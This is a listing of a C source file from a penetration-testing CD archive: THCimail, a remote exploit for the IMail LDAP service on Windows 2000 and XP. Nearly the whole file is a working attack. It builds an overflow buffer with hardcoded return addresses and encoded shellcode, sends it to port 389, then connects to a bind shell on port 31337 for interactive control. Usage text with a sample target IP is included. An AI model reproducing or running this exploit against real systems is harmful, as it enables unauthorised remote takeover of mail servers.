home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imail / THCimail.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  267 lines

  1. /*****************************************************************************/
  2. /* THCimail 0.1 - Wind0wZ remote root exploit                                */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
  4. /* THC PUBLIC SOURCE MATERIALS                                               */
  5. /*                                                                           */
  6. /* Bug was found by idefense or some idefense slaves ;)                      */
  7. /* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/
  8. /*                                                                           */
  9. /* compile with MS Visual C++ : cl THCimail.c                                */
  10. /*                                                                           */
  11. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
  12. /* scut, stealth, FtR and Random                                             */
  13. /*****************************************************************************/
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <winsock2.h>
  19.  
  20. #pragma comment(lib, "ws2_32.lib")
  21.  
  22. char *WIN2KEN   = "\xc4\x2a\x02\x75";
  23. char *WIN2KPG   = "\xc4\x2a\xf9\x74";
  24. char *WINXPSP1G = "\xfe\x63\xa1\x71";
  25.  
  26. #define jumper    "\xeb\x06\x4a\x43"
  27.  
  28. char ldapshit[] = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20";
  29.  
  30. char shellcode[] =
  31. "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
  32. "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
  33. "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
  34. "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
  35. "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
  36. "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
  37. "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
  38. "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
  39. "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
  40. "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
  41. "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
  42. "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
  43. "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
  44. "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
  45. "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
  46. "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
  47. "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
  48. "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
  49. "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
  50. "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
  51. "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
  52. "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
  53. "\xda\x63\xe5\x70\x70\xda\x6f";
  54.  
  55.  
  56. void usage();
  57. void shell(int sock);
  58.  
  59. int main(int argc, char *argv[])
  60. {  
  61.   unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;
  62.   unsigned char *finalbuffer,*crapbuf1,*crapbuf2;
  63.   unsigned int IMAIL6_7=60;
  64.   unsigned int IMAIL_8=68;
  65.  
  66.   struct sockaddr_in mytcp;
  67.   struct hostent * hp;
  68.   WSADATA wsaData;
  69.  
  70.   printf("\nTHCimail v0.1 - Imail LDAP exploit\n");
  71.   printf("tested on Imail 6-8\n");
  72.   printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
  73.  
  74.   if(argc<4 || argc>4)
  75.    usage();
  76.  
  77.   ver = (unsigned short)atoi(argv[3]);  
  78.   switch(ver)
  79.   {
  80.    case 0:
  81.     IMAILVER = IMAIL6_7;
  82.     break;
  83.    case 1:
  84.     IMAILVER = IMAIL_8;
  85.     break;
  86.    default:
  87.     printf("\nYou entered an illegal version !\n\n");
  88.     usage();
  89.     exit(-1);
  90.   }
  91.  
  92.   crapbuf1 = malloc(IMAILVER);
  93.   memset(crapbuf1,'X',IMAILVER);
  94.  
  95.   printf("imailver = %d\n",IMAILVER);
  96.  
  97.   crapbuf2 = malloc(2220);
  98.   memset(crapbuf2,'X',2220);
  99.  
  100.   finalbuffer = malloc(2650);
  101.   memset(finalbuffer,0,2650);
  102.  
  103.   printf("\n[*] building buffer\n");
  104.  
  105.   strcat(finalbuffer,ldapshit);
  106.  
  107.   strcat(finalbuffer,crapbuf1);
  108.  
  109.   strcat(finalbuffer,jumper);
  110.  
  111.   os = (unsigned short)atoi(argv[2]);  
  112.   switch(os)
  113.   {
  114.    case 0:
  115.     strcat(finalbuffer,WIN2KPG);
  116.     break;
  117.    case 1:
  118.     strcat(finalbuffer,WIN2KPG);
  119.     break;
  120.    case 2:
  121.     strcat(finalbuffer,WINXPSP1G);
  122.     break;
  123.    default:
  124.     printf("\nYou entered an illegal OS !\n\n");
  125.     usage();
  126.     exit(-1);
  127.   }
  128.  
  129.   strcat(finalbuffer,shellcode);
  130.   strcat(finalbuffer,crapbuf2);
  131.       
  132.   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  133.   {
  134.    printf("WSAStartup failed !\n");
  135.    exit(-1);
  136.   }
  137.   
  138.   hp = gethostbyname(argv[1]);
  139.  
  140.   if (!hp){
  141.    addr = inet_addr(argv[1]);
  142.   }
  143.   if ((!hp)  && (addr == INADDR_NONE) )
  144.   {
  145.    printf("Unable to resolve %s\n",argv[1]);
  146.    exit(-1);
  147.   }
  148.  
  149.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  150.   if (!sock)
  151.   { 
  152.    printf("socket() error...\n");
  153.    exit(-1);
  154.   }
  155.   
  156.   if (hp != NULL)
  157.    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  158.   else
  159.    mytcp.sin_addr.s_addr = addr;
  160.  
  161.   if (hp)
  162.    mytcp.sin_family = hp->h_addrtype;
  163.   else
  164.    mytcp.sin_family = AF_INET;
  165.  
  166.   mytcp.sin_port=htons(389);
  167.  
  168.   printf("[*] connecting the target\n");
  169.  
  170.   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  171.   if(rc==0)
  172.   {
  173.       send(sock,finalbuffer,2650,0);
  174.       printf("[*] Exploit send successfully ! Sleeping a while ....\n");
  175.       Sleep(1000);
  176.   }
  177.   else
  178.    printf("\nCan't connect to ldap port!\n");
  179.    
  180.   if(rc==0)
  181.   {
  182.    printf("[*] Trying to get a shell\n\n");
  183.    sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  184.    mytcp.sin_port = htons(31337);
  185.    rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
  186.    if(rc!=0)
  187.    {
  188.      printf("can't connect to port 31337 ;( maybe firewalled ...\n");
  189.      exit(-1);
  190.    }
  191.    shell(sock2);
  192.   }
  193.  
  194.   shutdown(sock,1);
  195.   closesocket(sock);
  196.  
  197.   free(crapbuf1);
  198.   free(crapbuf2);
  199.   free(finalbuffer);  
  200.  
  201.   exit(0);
  202. }
  203.  
  204. void usage()
  205. {
  206.  unsigned int a;
  207.  printf("\nUsage:  <Host> <OS> <Imail Version>\n");
  208.  printf("Sample: THCimail 194.44.55.56 0 1\n\n");
  209.  printf("OS:\n");
  210.  printf("0 - Windows 2000 Server english all service packs\n");
  211.  printf("1 - Windows 2000 Professional german\n");
  212.  printf("2 - Windows XP SP1 german\n\n");
  213.  printf("Imail Version:\n");
  214.  printf("0 - Imail 6+7\n");
  215.  printf("1 - Imail 8\n");
  216.  exit(0);
  217. }
  218.  
  219. void shell(int sock)
  220. {
  221.  int l;
  222.  char buf[1024];
  223.  struct timeval time;
  224.  unsigned long ul[2];
  225.  
  226.  time.tv_sec = 1;
  227.  time.tv_usec = 0;
  228.  
  229.  while (1)
  230.  {
  231.   ul[0] = 1;
  232.   ul[1] = sock;
  233.  
  234.   l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  235.   if(l == 1)
  236.   {      
  237.    l = recv (sock, buf, sizeof (buf), 0);
  238.    if (l <= 0)
  239.    {
  240.     printf ("bye bye...\n");
  241.     return;
  242.    }
  243.   l = write (1, buf, l);
  244.    if (l <= 0)
  245.    {
  246.     printf ("bye bye...\n");
  247.     return;
  248.    }
  249.   }
  250.   else
  251.   {
  252.    l = read (0, buf, sizeof (buf));
  253.    if (l <= 0)
  254.    {
  255.     printf("bye bye...\n");
  256.     return;
  257.    }
  258.    l = send(sock, buf, l, 0);
  259.    if (l <= 0)
  260.    {
  261.     printf("bye bye...\n");
  262.     return;
  263.    }
  264.   }
  265.  }
  266. }
  267.